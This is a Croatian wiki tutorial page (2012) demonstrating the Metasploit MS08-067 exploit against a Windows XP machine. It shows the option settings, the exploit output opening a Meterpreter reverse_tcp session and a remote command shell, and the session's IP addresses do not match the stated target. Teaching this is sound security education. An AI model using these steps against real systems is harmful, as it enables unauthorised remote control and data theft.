Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, none, process LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Targeting
Sada je potrebno postaviti vrijednosti za određene opcije. Potrebno je postaviti vrijednosti RHOST (IP adresa mete), LHOST (IP adresa napadača) i LPORT (port napadača). Sve vrijednosti postavljamo naredbom set.
exploit(ms08_067_netapi) > set RHOST 10.211.55.6 RHOST => 10.211.55.6 exploit(ms08_067_netapi) > set LHOST 192.168.1.6 LHOST => 192.168.1.6 exploit(ms08_067_netapi) > set LPORT 9999 LPORT => 9999
Postavljanje IP adrese i porta napadača je vrlo važno za uspostavljanje sesije između računala napadača i napadnutog računala. Nakon što su postavljene sve postavke potrebne za eksploataciju, potrebno je samo još pokrenuti eksploataciju naredbom exploit. Pokretanjem naredbe se dobije sljedeći rezultat:
[*] Started reverse handler on 192.168.1.6:9999 [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 192.168.1.6 [*] Meterpreter session 1 opened (192.168.1.6:9999 -> 192.168.1.6:59737) at Mon Jan 02 23:55:54 +0100 2012
Time je uspostavljena sesija između računala napadača i napadnutog računala. Sada naredbom sessions -i 1uspostavljamo interakciju između računala. Tada nam se otvara Metapreter. Metapreter je payload koji nam omogućuje mnoge post-ecksploatacijske funkcionalnosti. Više o Metapreteru je moguće saznati na http://dev.metasploit.com/documents/meterpreter.pdf. Ovdje ćemo ga iskoristiti kako bi mogli pristupiti command shell-u napadnutog operacijskog sustava. Iskoristit ćemo jednostavnu naredbu shell.
meterpreter > shell Process 3064 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS>
Vidimo kako nam Metapreter omogućuje izravan pristup svim datotekama napadnutog računala.
Shell nije jedina naredba koju možemo koristiti u Metapreteru. Pomoću njega možemo napravitit download datoteka s napadnutog računala, možemo izvršavati programe, "ubijati" procese, resetirati računalo. Drugim riječima imamo potpunu kontrolu nad računalom. Lista naredbi metapretera nalazi se na http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient#download.
--Tin.komlinovic 00:47, 3. siječnja 2012. (CET)